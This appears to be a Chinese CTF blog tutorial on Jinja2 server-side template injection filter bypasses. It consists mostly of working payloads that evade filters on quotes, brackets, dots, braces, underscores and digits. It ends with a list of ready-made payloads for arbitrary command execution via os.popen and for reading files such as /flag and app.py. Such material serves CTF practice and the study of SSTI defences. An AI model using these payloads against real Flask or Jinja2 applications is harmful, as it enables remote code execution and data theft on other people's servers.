CTF ssti注入 (二)绕过

0x01 常见的绕过

0x01 单双引号

request.args.x

[request.args.x]&x=__builtins__       等同于['__builtins__']
(request.args.x)&x=open('/flag').read     等同于("open('/flag').read")

request.cookies.x
?name={{config.__class__.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
cookie:
x1=__builtins__;x2=__import__('os').popen('tac /f*').read()

这两者差不多

[ ]

用魔术方法__getitem__来代替方括号

__globals__.__getitem__('__builtins__')      是等效的      __globals__['__builtins__']

__bases__.__getitem__(0)         和         __bases__[0]

__globals__.__getitem__(request.cookies.x1)   cookie:x1=__builtins__;
相当于
__globals__['__builtins__']

.

用方括号

config['__class__']['__bases__'][0]       相当于config.__class__.__bases__[0]

用过滤器

(config|attr('__class__')|attr('__init__')|attr('__globals__')|attr('__getitem__'))(request.cookies.x1)  cookie:x1=__builtins__
相当于
config.__class__.__init__.__globals__.__getitem__('__builtins__')
再而config.__class__.__init__.__globals__['__builtins__']

{{}}

利用{%print()}

{%print(config.__class__.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()"))%}
等价于
{{config.__class__.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}

利用for 和if

{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('ls /').read()%}{%endif%}{%endfor%}

{{().__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}

_

直接用request.cookies.x或者request.args.x来绕过

用16进制编码

config['\x5f\x5fclass\x5f\x5f']   相当于  config.__class__

还有利用jinja框架的编码直接写出下划线的
在这里插入图片描述

{% set a=(()|select|string|list).pop(24)%}{%print(a)%}

这个过程我们更加具体一些,首先

(): 这是一个空的元组。
|select: 这是Jinja2中的过滤器,通常用于从序列中选择元素。
|string: 这个过滤器通常用于将值转换为字符串。
|list: 这个过滤器通常用于将值转换为列表。
.pop(24): 这是Python中列表的一个方法,用于移除并返回列表中的指定索引位置的元素。

是不是清晰了很多,怎么说呢相当于截取吧

数字

count

{{(dict(e=a)|join|count)}}

一样的分析,首先dict会根据传值创建键值对
在这里插入图片描述

诶那么在jinja中
|join: 这是Jinja2中的过滤器,通常用于将列表中的元素连接成一个字符串。

|count 计算字符串 '(f, value)' 中的字符数量

在这里插入图片描述
在这里插入图片描述
也就是说逐渐增加键的数量即可满足拼接出数字

{{dict(f=a,a=b).keys()|count}}          也是等效的

在这里插入图片描述
在这里插入图片描述

{% set po=dict(po=a,p=a)|join|count%}{%print(po)%}

{% set po=dict(po=a)|join|count%}{%print(po)%}

利用~|int

|int     用来整数型转换

~    用来链接字符串 相当于加
{% set ccc=(dict(ee=a)|join|count)%}{% set ccccc=(dict(eeee=a)|join|count)%}{% set coun=(ccc~ccccc)|int%}{%print(coun)%}      
 24
 {{config.__init__.__globals__['__buil'~'tins__'].eval("__imp"~"ort__('os').popen('ls /').read()")}}
 
{%set a='__clas'%}{%set b='s__'%}{%print(a~b)%}

length

{% set c=(t|length)%}{%print(c)%}

拼接关键字

{% set po=dict(po=a,p=a)|join%}          //拼接出pop
{% set a=(()|select|string|list)|attr(po)(24)%}         //拼接出_
{% set ini=(a,a,dict(init=a)|join,a,a)|join%}          //拼接出__init__
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}       //拼接出__globals__
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}		//拼接出__getitem__
{% set buil=(a,a,dict(builtins=a)|join,a,a)|join()%}		//拼接出__builtins__
{% set x=(x|attr(ini)|attr(glo)|attr(geti))(buil)%}		
{% set chr=x.chr%}		//使用chr类来进行RCE因为等会要ascii转字符
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}	//拼接出/flag
{%print(x.open(file).read())%}

0x02 常用payload

1、任意命令执行
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('ls /').read()%}{%endif%}{%endfor%}
2、任意命令执行
{{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}
//这个138对应的类是os._wrap_close,只需要找到这个类的索引就可以利用这个payload
3、任意命令执行
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}
4、任意命令执行
{{x.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}
//x的含义是可以为任意字母,不仅仅限于x
5、任意命令执行
{{config.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}
6、文件读取
{{x.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__builtins__'].open('app.py','r').read()}}
对应类为_frozen_importlib._ModuleLock
//x的含义是可以为任意字母,不仅仅限于x

暂时只知道这么多了,后面有补充继续

  • 12
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值